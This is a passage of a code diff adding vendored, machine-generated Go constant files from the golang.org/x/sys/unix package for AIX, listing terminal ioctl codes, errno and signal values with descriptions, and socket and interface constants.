-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAXWINDOWSCALE = 0xe
-+ TCP_MAX_SACK = 0x4
-+ TCP_MSS = 0x5b4
-+ TCP_NODELAY = 0x1
-+ TCP_NODELAYACK = 0x14
-+ TCP_NOREDUCE_CWND_EXIT_FRXMT = 0x19
-+ TCP_NOREDUCE_CWND_IN_FRXMT = 0x18
-+ TCP_NOTENTER_SSTART = 0x17
-+ TCP_OPT = 0x19
-+ TCP_RFC1323 = 0x4
-+ TCP_SETPRIV = 0x27
-+ TCP_STDURG = 0x10
-+ TCP_TIMESTAMP_OPTLEN = 0xc
-+ TCP_UNSETPRIV = 0x28
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETSF = 0x5404
-+ TCSETSW = 0x5403
-+ TCXONC = 0x540b
-+ TIMER_ABSTIME = 0x3e7
-+ TIMER_MAX = 0x20
-+ TIOC = 0x5400
-+ TIOCCBRK = 0x2000747a
-+ TIOCCDTR = 0x20007478
-+ TIOCCONS = 0x80047462
-+ TIOCEXCL = 0x2000740d
-+ TIOCFLUSH = 0x80047410
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x40047400
-+ TIOCGETP = 0x40067408
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGSID = 0x40047448
-+ TIOCGSIZE = 0x40087468
-+ TIOCGWINSZ = 0x40087468
-+ TIOCHPCL = 0x20007402
-+ TIOCLBIC = 0x8004747e
-+ TIOCLBIS = 0x8004747f
-+ TIOCLGET = 0x4004747c
-+ TIOCLSET = 0x8004747d
-+ TIOCMBIC = 0x8004746b
-+ TIOCMBIS = 0x8004746c
-+ TIOCMGET = 0x4004746a
-+ TIOCMIWAIT = 0x80047464
-+ TIOCMODG = 0x40047403
-+ TIOCMODS = 0x80047404
-+ TIOCMSET = 0x8004746d
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_RTS = 0x4
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x20007471
-+ TIOCNXCL = 0x2000740e
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x80047470
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIOCREMOTE = 0x80047469
-+ TIOCSBRK = 0x2000747b
-+ TIOCSDTR = 0x20007479
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x80047401
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSSIZE = 0x80087467
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x80017472
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCUCNTL = 0x80047466
-+ TOSTOP = 0x10000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x3
-+ VDISCRD = 0xc
-+ VDSUSP = 0xa
-+ VEOF = 0x4
-+ VEOL = 0x5
-+ VEOL2 = 0x6
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xe
-+ VMIN = 0x4
-+ VQUIT = 0x1
-+ VREPRINT = 0xb
-+ VSTART = 0x7
-+ VSTOP = 0x8
-+ VSTRT = 0x7
-+ VSUSP = 0x9
-+ VT0 = 0x0
-+ VT1 = 0x8000
-+ VTDELAY = 0x2000
-+ VTDLY = 0x8000
-+ VTIME = 0x5
-+ VWERSE = 0xd
-+ WPARSTART = 0x1
-+ WPARSTOP = 0x2
-+ WPARTTYNAME = "Global"
-+ XCASE = 0x4
-+ XTABS = 0xc00
-+ _FDATAFLUSH = 0x2000000000
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EADDRINUSE = syscall.Errno(0x43)
-+ EADDRNOTAVAIL = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x42)
-+ EAGAIN = syscall.Errno(0xb)
-+ EALREADY = syscall.Errno(0x38)
-+ EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x78)
-+ EBUSY = syscall.Errno(0x10)
-+ ECANCELED = syscall.Errno(0x75)
-+ ECHILD = syscall.Errno(0xa)
-+ ECHRNG = syscall.Errno(0x25)
-+ ECLONEME = syscall.Errno(0x52)
-+ ECONNABORTED = syscall.Errno(0x48)
-+ ECONNREFUSED = syscall.Errno(0x4f)
-+ ECONNRESET = syscall.Errno(0x49)
-+ ECORRUPT = syscall.Errno(0x59)
-+ EDEADLK = syscall.Errno(0x2d)
-+ EDESTADDREQ = syscall.Errno(0x3a)
-+ EDESTADDRREQ = syscall.Errno(0x3a)
-+ EDIST = syscall.Errno(0x35)
-+ EDOM = syscall.Errno(0x21)
-+ EDQUOT = syscall.Errno(0x58)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EFORMAT = syscall.Errno(0x30)
-+ EHOSTDOWN = syscall.Errno(0x50)
-+ EHOSTUNREACH = syscall.Errno(0x51)
-+ EIDRM = syscall.Errno(0x24)
-+ EILSEQ = syscall.Errno(0x74)
-+ EINPROGRESS = syscall.Errno(0x37)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISCONN = syscall.Errno(0x4b)
-+ EISDIR = syscall.Errno(0x15)
-+ EL2HLT = syscall.Errno(0x2c)
-+ EL2NSYNC = syscall.Errno(0x26)
-+ EL3HLT = syscall.Errno(0x27)
-+ EL3RST = syscall.Errno(0x28)
-+ ELNRNG = syscall.Errno(0x29)
-+ ELOOP = syscall.Errno(0x55)
-+ EMEDIA = syscall.Errno(0x6e)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ EMSGSIZE = syscall.Errno(0x3b)
-+ EMULTIHOP = syscall.Errno(0x7d)
-+ ENAMETOOLONG = syscall.Errno(0x56)
-+ ENETDOWN = syscall.Errno(0x45)
-+ ENETRESET = syscall.Errno(0x47)
-+ ENETUNREACH = syscall.Errno(0x46)
-+ ENFILE = syscall.Errno(0x17)
-+ ENOATTR = syscall.Errno(0x70)
-+ ENOBUFS = syscall.Errno(0x4a)
-+ ENOCONNECT = syscall.Errno(0x32)
-+ ENOCSI = syscall.Errno(0x2b)
-+ ENODATA = syscall.Errno(0x7a)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOLCK = syscall.Errno(0x31)
-+ ENOLINK = syscall.Errno(0x7e)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOMSG = syscall.Errno(0x23)
-+ ENOPROTOOPT = syscall.Errno(0x3d)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOSR = syscall.Errno(0x76)
-+ ENOSTR = syscall.Errno(0x7b)
-+ ENOSYS = syscall.Errno(0x6d)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTCONN = syscall.Errno(0x4c)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTEMPTY = syscall.Errno(0x11)
-+ ENOTREADY = syscall.Errno(0x2e)
-+ ENOTRECOVERABLE = syscall.Errno(0x5e)
-+ ENOTRUST = syscall.Errno(0x72)
-+ ENOTSOCK = syscall.Errno(0x39)
-+ ENOTSUP = syscall.Errno(0x7c)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EOPNOTSUPP = syscall.Errno(0x40)
-+ EOVERFLOW = syscall.Errno(0x7f)
-+ EOWNERDEAD = syscall.Errno(0x5f)
-+ EPERM = syscall.Errno(0x1)
-+ EPFNOSUPPORT = syscall.Errno(0x41)
-+ EPIPE = syscall.Errno(0x20)
-+ EPROCLIM = syscall.Errno(0x53)
-+ EPROTO = syscall.Errno(0x79)
-+ EPROTONOSUPPORT = syscall.Errno(0x3e)
-+ EPROTOTYPE = syscall.Errno(0x3c)
-+ ERANGE = syscall.Errno(0x22)
-+ EREMOTE = syscall.Errno(0x5d)
-+ ERESTART = syscall.Errno(0x52)
-+ EROFS = syscall.Errno(0x1e)
-+ ESAD = syscall.Errno(0x71)
-+ ESHUTDOWN = syscall.Errno(0x4d)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x3f)
-+ ESOFT = syscall.Errno(0x6f)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ESTALE = syscall.Errno(0x34)
-+ ESYSERROR = syscall.Errno(0x5a)
-+ ETIME = syscall.Errno(0x77)
-+ ETIMEDOUT = syscall.Errno(0x4e)
-+ ETOOMANYREFS = syscall.Errno(0x73)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EUNATCH = syscall.Errno(0x2a)
-+ EUSERS = syscall.Errno(0x54)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EWRPROTECT = syscall.Errno(0x2f)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGAIO = syscall.Signal(0x17)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGALRM1 = syscall.Signal(0x26)
-+ SIGBUS = syscall.Signal(0xa)
-+ SIGCAPI = syscall.Signal(0x31)
-+ SIGCHLD = syscall.Signal(0x14)
-+ SIGCLD = syscall.Signal(0x14)
-+ SIGCONT = syscall.Signal(0x13)
-+ SIGCPUFAIL = syscall.Signal(0x3b)
-+ SIGDANGER = syscall.Signal(0x21)
-+ SIGEMT = syscall.Signal(0x7)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGGRANT = syscall.Signal(0x3c)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIO = syscall.Signal(0x17)
-+ SIGIOINT = syscall.Signal(0x10)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKAP = syscall.Signal(0x3c)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGLOST = syscall.Signal(0x6)
-+ SIGMAX = syscall.Signal(0x3f)
-+ SIGMAX32 = syscall.Signal(0x3f)
-+ SIGMIGRATE = syscall.Signal(0x23)
-+ SIGMSG = syscall.Signal(0x1b)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGPOLL = syscall.Signal(0x17)
-+ SIGPRE = syscall.Signal(0x24)
-+ SIGPROF = syscall.Signal(0x20)
-+ SIGPTY = syscall.Signal(0x17)
-+ SIGPWR = syscall.Signal(0x1d)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGRECONFIG = syscall.Signal(0x3a)
-+ SIGRETRACT = syscall.Signal(0x3d)
-+ SIGSAK = syscall.Signal(0x3f)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGSOUND = syscall.Signal(0x3e)
-+ SIGSTOP = syscall.Signal(0x11)
-+ SIGSYS = syscall.Signal(0xc)
-+ SIGSYSERROR = syscall.Signal(0x30)
-+ SIGTALRM = syscall.Signal(0x26)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+ SIGTSTP = syscall.Signal(0x12)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x10)
-+ SIGUSR1 = syscall.Signal(0x1e)
-+ SIGUSR2 = syscall.Signal(0x1f)
-+ SIGVIRT = syscall.Signal(0x25)
-+ SIGVTALRM = syscall.Signal(0x22)
-+ SIGWAITING = syscall.Signal(0x27)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "ENOTEMPTY", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "not a typewriter"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock condition if locked"},
-+ {46, "ENOTREADY", "device not ready"},
-+ {47, "EWRPROTECT", "write-protected media"},
-+ {48, "EFORMAT", "unformatted or incompatible media"},
-+ {49, "ENOLCK", "no locks available"},
-+ {50, "ENOCONNECT", "cannot Establish Connection"},
-+ {52, "ESTALE", "missing file or filesystem"},
-+ {53, "EDIST", "requests blocked by Administrator"},
-+ {55, "EINPROGRESS", "operation now in progress"},
-+ {56, "EALREADY", "operation already in progress"},
-+ {57, "ENOTSOCK", "socket operation on non-socket"},
-+ {58, "EDESTADDREQ", "destination address required"},
-+ {59, "EMSGSIZE", "message too long"},
-+ {60, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {61, "ENOPROTOOPT", "protocol not available"},
-+ {62, "EPROTONOSUPPORT", "protocol not supported"},
-+ {63, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {64, "EOPNOTSUPP", "operation not supported on socket"},
-+ {65, "EPFNOSUPPORT", "protocol family not supported"},
-+ {66, "EAFNOSUPPORT", "addr family not supported by protocol"},
-+ {67, "EADDRINUSE", "address already in use"},
-+ {68, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {69, "ENETDOWN", "network is down"},
-+ {70, "ENETUNREACH", "network is unreachable"},
-+ {71, "ENETRESET", "network dropped connection on reset"},
-+ {72, "ECONNABORTED", "software caused connection abort"},
-+ {73, "ECONNRESET", "connection reset by peer"},
-+ {74, "ENOBUFS", "no buffer space available"},
-+ {75, "EISCONN", "socket is already connected"},
-+ {76, "ENOTCONN", "socket is not connected"},
-+ {77, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {78, "ETIMEDOUT", "connection timed out"},
-+ {79, "ECONNREFUSED", "connection refused"},
-+ {80, "EHOSTDOWN", "host is down"},
-+ {81, "EHOSTUNREACH", "no route to host"},
-+ {82, "ERESTART", "restart the system call"},
-+ {83, "EPROCLIM", "too many processes"},
-+ {84, "EUSERS", "too many users"},
-+ {85, "ELOOP", "too many levels of symbolic links"},
-+ {86, "ENAMETOOLONG", "file name too long"},
-+ {88, "EDQUOT", "disk quota exceeded"},
-+ {89, "ECORRUPT", "invalid file system control data detected"},
-+ {90, "ESYSERROR", "for future use "},
-+ {93, "EREMOTE", "item is not local to host"},
-+ {94, "ENOTRECOVERABLE", "state not recoverable "},
-+ {95, "EOWNERDEAD", "previous owner died "},
-+ {109, "ENOSYS", "function not implemented"},
-+ {110, "EMEDIA", "media surface error"},
-+ {111, "ESOFT", "I/O completed, but needs relocation"},
-+ {112, "ENOATTR", "no attribute found"},
-+ {113, "ESAD", "security Authentication Denied"},
-+ {114, "ENOTRUST", "not a Trusted Program"},
-+ {115, "ETOOMANYREFS", "too many references: can't splice"},
-+ {116, "EILSEQ", "invalid wide character"},
-+ {117, "ECANCELED", "asynchronous I/O cancelled"},
-+ {118, "ENOSR", "out of STREAMS resources"},
-+ {119, "ETIME", "system call timed out"},
-+ {120, "EBADMSG", "next message has wrong type"},
-+ {121, "EPROTO", "error in protocol"},
-+ {122, "ENODATA", "no message on stream head read q"},
-+ {123, "ENOSTR", "fd not associated with a stream"},
-+ {124, "ENOTSUP", "unsupported attribute value"},
-+ {125, "EMULTIHOP", "multihop is not allowed"},
-+ {126, "ENOLINK", "the server link has been severed"},
-+ {127, "EOVERFLOW", "value too large to be stored in data type"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "IOT/Abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible/complete"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {27, "SIGMSG", "input device data"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGPWR", "power-failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPROF", "profiling timer expired"},
-+ {33, "SIGDANGER", "paging space low"},
-+ {34, "SIGVTALRM", "virtual timer expired"},
-+ {35, "SIGMIGRATE", "signal 35"},
-+ {36, "SIGPRE", "signal 36"},
-+ {37, "SIGVIRT", "signal 37"},
-+ {38, "SIGTALRM", "signal 38"},
-+ {39, "SIGWAITING", "signal 39"},
-+ {48, "SIGSYSERROR", "signal 48"},
-+ {49, "SIGCAPI", "signal 49"},
-+ {58, "SIGRECONFIG", "signal 58"},
-+ {59, "SIGCPUFAIL", "CPU Failure Predicted"},
-+ {60, "SIGKAP", "monitor mode granted"},
-+ {61, "SIGRETRACT", "monitor mode retracted"},
-+ {62, "SIGSOUND", "sound completed"},
-+ {63, "SIGSAK", "secure attention"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
-new file mode 100644
-index 00000000..4fc8d306
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
-@@ -0,0 +1,1385 @@
-+// mkerrors.sh -maix64
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc64,aix
-+
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -maix64 _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AF_APPLETALK = 0x10
-+ AF_BYPASS = 0x19
-+ AF_CCITT = 0xa
-+ AF_CHAOS = 0x5
-+ AF_DATAKIT = 0x9
-+ AF_DECnet = 0xc
-+ AF_DLI = 0xd
-+ AF_ECMA = 0x8
-+ AF_HYLINK = 0xf
-+ AF_IMPLINK = 0x3
-+ AF_INET = 0x2
-+ AF_INET6 = 0x18
-+ AF_INTF = 0x14
-+ AF_ISO = 0x7
-+ AF_LAT = 0xe
-+ AF_LINK = 0x12
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x1e
-+ AF_NDD = 0x17
-+ AF_NETWARE = 0x16
-+ AF_NS = 0x6
-+ AF_OSI = 0x7
-+ AF_PUP = 0x4
-+ AF_RIF = 0x15
-+ AF_ROUTE = 0x11
-+ AF_SNA = 0xb
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ ALTWERASE = 0x400000
-+ ARPHRD_802_3 = 0x6
-+ ARPHRD_802_5 = 0x6
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_FDDI = 0x1
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BS1 = 0x1000
-+ BSDLY = 0x1000
-+ CAP_AACCT = 0x6
-+ CAP_ARM_APPLICATION = 0x5
-+ CAP_BYPASS_RAC_VMM = 0x3
-+ CAP_CLEAR = 0x0
-+ CAP_CREDENTIALS = 0x7
-+ CAP_EFFECTIVE = 0x1
-+ CAP_EWLM_AGENT = 0x4
-+ CAP_INHERITABLE = 0x2
-+ CAP_MAXIMUM = 0x7
-+ CAP_NUMA_ATTACH = 0x2
-+ CAP_PERMITTED = 0x3
-+ CAP_PROPAGATE = 0x1
-+ CAP_PROPOGATE = 0x1
-+ CAP_SET = 0x1
-+ CBAUD = 0xf
-+ CFLUSH = 0xf
-+ CIBAUD = 0xf0000
-+ CLOCAL = 0x800
-+ CLOCK_MONOTONIC = 0xa
-+ CLOCK_PROCESS_CPUTIME_ID = 0xb
-+ CLOCK_REALTIME = 0x9
-+ CLOCK_THREAD_CPUTIME_ID = 0xc
-+ CR0 = 0x0
-+ CR1 = 0x100
-+ CR2 = 0x200
-+ CR3 = 0x300
-+ CRDLY = 0x300
-+ CREAD = 0x80
-+ CS5 = 0x0
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIOCGIFCONF = -0x3fef96dc
-+ CSIZE = 0x30
-+ CSMAP_DIR = "/usr/lib/nls/csmap/"
-+ CSTART = '\021'
-+ CSTOP = '\023'
-+ CSTOPB = 0x40
-+ CSUSP = 0x1a
-+ ECHO = 0x8
-+ ECHOCTL = 0x20000
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x80000
-+ ECHONL = 0x40
-+ ECHOPRT = 0x40000
-+ ECH_ICMPID = 0x2
-+ ETHERNET_CSMACD = 0x6
-+ EVENP = 0x80
-+ EXCONTINUE = 0x0
-+ EXDLOK = 0x3
-+ EXIO = 0x2
-+ EXPGIO = 0x0
-+ EXRESUME = 0x2
-+ EXRETURN = 0x1
-+ EXSIG = 0x4
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ EXTRAP = 0x1
-+ EYEC_RTENTRYA = 0x257274656e747241
-+ EYEC_RTENTRYF = 0x257274656e747246
-+ E_ACC = 0x0
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0xfffe
-+ FF0 = 0x0
-+ FF1 = 0x2000
-+ FFDLY = 0x2000
-+ FLUSHBAND = 0x40
-+ FLUSHLOW = 0x8
-+ FLUSHO = 0x100000
-+ FLUSHR = 0x1
-+ FLUSHRW = 0x3
-+ FLUSHW = 0x2
-+ F_CLOSEM = 0xa
-+ F_DUP2FD = 0xe
-+ F_DUPFD = 0x0
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLK = 0xb
-+ F_GETLK64 = 0xb
-+ F_GETOWN = 0x8
-+ F_LOCK = 0x1
-+ F_OK = 0x0
-+ F_RDLCK = 0x1
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLK = 0xc
-+ F_SETLK64 = 0xc
-+ F_SETLKW = 0xd
-+ F_SETLKW64 = 0xd
-+ F_SETOWN = 0x9
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_TSTLK = 0xf
-+ F_ULOCK = 0x0
-+ F_UNLCK = 0x3
-+ F_WRLCK = 0x2
-+ HUPCL = 0x400
-+ IBSHIFT = 0x10
-+ ICANON = 0x2
-+ ICMP6_FILTER = 0x26
-+ ICMP6_SEC_SEND_DEL = 0x46
-+ ICMP6_SEC_SEND_GET = 0x47
-+ ICMP6_SEC_SEND_SET = 0x44
-+ ICMP6_SEC_SEND_SET_CGA_ADDR = 0x45
-+ ICRNL = 0x100
-+ IEXTEN = 0x200000
-+ IFA_FIRSTALIAS = 0x2000
-+ IFA_ROUTE = 0x1
-+ IFF_64BIT = 0x4000000
-+ IFF_ALLCAST = 0x20000
-+ IFF_ALLMULTI = 0x200
-+ IFF_BPF = 0x8000000
-+ IFF_BRIDGE = 0x40000
-+ IFF_BROADCAST = 0x2
-+ IFF_CANTCHANGE = 0x80c52
-+ IFF_CHECKSUM_OFFLOAD = 0x10000000
-+ IFF_D1 = 0x8000
-+ IFF_D2 = 0x4000
-+ IFF_D3 = 0x2000
-+ IFF_D4 = 0x1000
-+ IFF_DEBUG = 0x4
-+ IFF_DEVHEALTH = 0x4000
-+ IFF_DO_HW_LOOPBACK = 0x10000
-+ IFF_GROUP_ROUTING = 0x2000000
-+ IFF_IFBUFMGT = 0x800000
-+ IFF_LINK0 = 0x100000
-+ IFF_LINK1 = 0x200000
-+ IFF_LINK2 = 0x400000
-+ IFF_LOOPBACK = 0x8
-+ IFF_MULTICAST = 0x80000
-+ IFF_NOARP = 0x80
-+ IFF_NOECHO = 0x800
-+ IFF_NOTRAILERS = 0x20
-+ IFF_OACTIVE = 0x400
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PROMISC = 0x100
-+ IFF_PSEG = 0x40000000
-+ IFF_RUNNING = 0x40
-+ IFF_SIMPLEX = 0x800
-+ IFF_SNAP = 0x8000
-+ IFF_TCP_DISABLE_CKSUM = 0x20000000
-+ IFF_TCP_NOCKSUM = 0x1000000
-+ IFF_UP = 0x1
-+ IFF_VIPA = 0x80000000
-+ IFNAMSIZ = 0x10
-+ IFO_FLUSH = 0x1
-+ IFT_1822 = 0x2
-+ IFT_AAL5 = 0x31
-+ IFT_ARCNET = 0x23
-+ IFT_ARCNETPLUS = 0x24
-+ IFT_ATM = 0x25
-+ IFT_CEPT = 0x13
-+ IFT_CLUSTER = 0x3e
-+ IFT_DS3 = 0x1e
-+ IFT_EON = 0x19
-+ IFT_ETHER = 0x6
-+ IFT_FCS = 0x3a
-+ IFT_FDDI = 0xf
-+ IFT_FRELAY = 0x20
-+ IFT_FRELAYDCE = 0x2c
-+ IFT_GIFTUNNEL = 0x3c
-+ IFT_HDH1822 = 0x3
-+ IFT_HF = 0x3d
-+ IFT_HIPPI = 0x2f
-+ IFT_HSSI = 0x2e
-+ IFT_HY = 0xe
-+ IFT_IB = 0xc7
-+ IFT_ISDNBASIC = 0x14
-+ IFT_ISDNPRIMARY = 0x15
-+ IFT_ISO88022LLC = 0x29
-+ IFT_ISO88023 = 0x7
-+ IFT_ISO88024 = 0x8
-+ IFT_ISO88025 = 0x9
-+ IFT_ISO88026 = 0xa
-+ IFT_LAPB = 0x10
-+ IFT_LOCALTALK = 0x2a
-+ IFT_LOOP = 0x18
-+ IFT_MIOX25 = 0x26
-+ IFT_MODEM = 0x30
-+ IFT_NSIP = 0x1b
-+ IFT_OTHER = 0x1
-+ IFT_P10 = 0xc
-+ IFT_P80 = 0xd
-+ IFT_PARA = 0x22
-+ IFT_PPP = 0x17
-+ IFT_PROPMUX = 0x36
-+ IFT_PROPVIRTUAL = 0x35
-+ IFT_PTPSERIAL = 0x16
-+ IFT_RS232 = 0x21
-+ IFT_SDLC = 0x11
-+ IFT_SIP = 0x1f
-+ IFT_SLIP = 0x1c
-+ IFT_SMDSDXI = 0x2b
-+ IFT_SMDSICIP = 0x34
-+ IFT_SN = 0x38
-+ IFT_SONET = 0x27
-+ IFT_SONETPATH = 0x32
-+ IFT_SONETVT = 0x33
-+ IFT_SP = 0x39
-+ IFT_STARLAN = 0xb
-+ IFT_T1 = 0x12
-+ IFT_TUNNEL = 0x3b
-+ IFT_ULTRA = 0x1d
